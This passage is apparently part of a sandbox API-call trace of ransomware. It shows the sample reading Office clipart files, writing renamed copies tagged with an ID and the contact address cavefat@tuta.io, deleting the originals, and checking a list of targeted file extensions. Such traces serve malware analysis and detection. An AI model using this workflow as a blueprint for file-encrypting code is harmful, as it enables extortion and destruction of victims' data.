Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.522] GetLastError () returned 0x0 [0232.522] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0232.524] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x5c00, lpOverlapped=0x0) returned 1 [0232.526] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.526] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0232.526] SetEndOfFile (hFile=0x54c) returned 1 [0232.526] CloseHandle (hObject=0x54c) returned 1 [0232.526] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.526] SetEndOfFile (hFile=0x4b0) returned 1 [0232.528] CloseHandle (hObject=0x4b0) returned 1 [0232.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0232.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.529] lstrlenW (lpString=".doc") returned 4 [0232.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.529] lstrlenW (lpString=".docx") returned 5 [0232.529] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.529] lstrlenW (lpString=".pdf") returned 4 [0232.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.529] lstrlenW (lpString=".xls") returned 4 [0232.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.529] lstrlenW (lpString=".xlsx") returned 5 [0232.529] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.529] lstrlenW (lpString=".ppt") returned 4 [0232.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.529] lstrlenW (lpString=".zip") returned 4 [0232.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.529] lstrlenW (lpString=".rar") returned 4 [0232.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.529] lstrlenW (lpString=".bz2") returned 4 [0232.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.529] lstrlenW (lpString=".7z") returned 3 [0232.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.529] lstrlenW (lpString=".dbf") returned 4 [0232.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.529] lstrlenW (lpString=".1cd") returned 4 [0232.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.530] lstrlenW (lpString=".jpg") returned 4 [0232.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.530] lstrlenW (lpString=".doc") returned 4 [0232.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString=".docx") returned 5 [0232.530] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.530] lstrlenW (lpString=".pdf") returned 4 [0232.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString=".xls") returned 4 [0232.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.530] lstrlenW (lpString=".xlsx") returned 5 [0232.530] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.530] lstrlenW (lpString=".ppt") returned 4 [0232.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.530] lstrlenW (lpString=".zip") returned 4 [0232.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.530] lstrlenW (lpString=".rar") returned 4 [0232.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString=".bz2") returned 4 [0232.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString=".7z") returned 3 [0232.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.530] lstrlenW (lpString=".dbf") returned 4 [0232.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.530] lstrlenW (lpString=".1cd") returned 4 [0232.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0232.530] lstrlenW (lpString=".jpg") returned 4 [0232.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.530] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.530] lstrlenW (lpString="J0106208.WMF") returned 12 [0232.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.531] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11900) returned 1 [0232.531] CloseHandle (hObject=0x4b0) returned 1 [0232.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0232.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.532] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.532] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.533] GetLastError () returned 0x0 [0232.533] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0232.534] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2e80, lpOverlapped=0x0) returned 1 [0232.535] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.535] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0232.535] SetEndOfFile (hFile=0x54c) returned 1 [0232.535] CloseHandle (hObject=0x54c) returned 1 [0232.535] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.535] SetEndOfFile (hFile=0x4b0) returned 1 [0232.537] CloseHandle (hObject=0x4b0) returned 1 [0232.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0232.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.538] lstrlenW (lpString=".doc") returned 4 [0232.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.538] lstrlenW (lpString=".docx") returned 5 [0232.538] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.538] lstrlenW (lpString=".pdf") returned 4 [0232.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.538] lstrlenW (lpString=".xls") returned 4 [0232.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.538] lstrlenW (lpString=".xlsx") returned 5 [0232.538] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.538] lstrlenW (lpString=".ppt") returned 4 [0232.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.538] lstrlenW (lpString=".zip") returned 4 [0232.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.538] lstrlenW (lpString=".rar") returned 4 [0232.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.538] lstrlenW (lpString=".bz2") returned 4 [0232.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString=".7z") returned 3 [0232.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".dbf") returned 4 [0232.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".1cd") returned 4 [0232.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".jpg") returned 4 [0232.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".doc") returned 4 [0232.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString=".docx") returned 5 [0232.539] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.539] lstrlenW (lpString=".pdf") returned 4 [0232.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString=".xls") returned 4 [0232.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.539] lstrlenW (lpString=".xlsx") returned 5 [0232.539] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.539] lstrlenW (lpString=".ppt") returned 4 [0232.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".zip") returned 4 [0232.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.539] lstrlenW (lpString=".rar") returned 4 [0232.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString=".bz2") returned 4 [0232.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString=".7z") returned 3 [0232.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".dbf") returned 4 [0232.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".1cd") returned 4 [0232.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0232.539] lstrlenW (lpString=".jpg") returned 4 [0232.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.539] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.540] lstrlenW (lpString="J0106222.WMF") returned 12 [0232.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.700] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19600) returned 1 [0232.700] CloseHandle (hObject=0x4b0) returned 1 [0232.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0232.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.173] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.173] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.174] GetLastError () returned 0x0 [0233.174] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x4c90, lpOverlapped=0x0) returned 1 [0233.176] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0233.176] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.177] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.177] SetEndOfFile (hFile=0x4b4) returned 1 [0233.177] CloseHandle (hObject=0x4b4) returned 1 [0233.177] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.177] SetEndOfFile (hFile=0x4c8) returned 1 [0233.181] CloseHandle (hObject=0x4c8) returned 1 [0233.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0233.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.182] lstrlenW (lpString=".doc") returned 4 [0233.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.182] lstrlenW (lpString=".docx") returned 5 [0233.182] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.182] lstrlenW (lpString=".pdf") returned 4 [0233.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.182] lstrlenW (lpString=".xls") returned 4 [0233.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.182] lstrlenW (lpString=".xlsx") returned 5 [0233.182] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.182] lstrlenW (lpString=".ppt") returned 4 [0233.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.182] lstrlenW (lpString=".zip") returned 4 [0233.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.182] lstrlenW (lpString=".rar") returned 4 [0233.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.182] lstrlenW (lpString=".bz2") returned 4 [0233.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.182] lstrlenW (lpString=".7z") returned 3 [0233.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.182] lstrlenW (lpString=".dbf") returned 4 [0233.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.182] lstrlenW (lpString=".1cd") returned 4 [0233.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.182] lstrlenW (lpString=".jpg") returned 4 [0233.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.183] lstrlenW (lpString=".doc") returned 4 [0233.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString=".docx") returned 5 [0233.183] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.183] lstrlenW (lpString=".pdf") returned 4 [0233.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString=".xls") returned 4 [0233.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.183] lstrlenW (lpString=".xlsx") returned 5 [0233.183] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.183] lstrlenW (lpString=".ppt") returned 4 [0233.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.183] lstrlenW (lpString=".zip") returned 4 [0233.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.183] lstrlenW (lpString=".rar") returned 4 [0233.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString=".bz2") returned 4 [0233.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString=".7z") returned 3 [0233.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.183] lstrlenW (lpString=".dbf") returned 4 [0233.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.183] lstrlenW (lpString=".1cd") returned 4 [0233.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0233.183] lstrlenW (lpString=".jpg") returned 4 [0233.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.183] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.183] lstrlenW (lpString="J0107042.WMF") returned 12 [0233.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.184] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9048) returned 1 [0233.184] CloseHandle (hObject=0x4c8) returned 1 [0233.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220 [0233.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.185] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.185] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.185] GetLastError () returned 0x0 [0233.185] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, 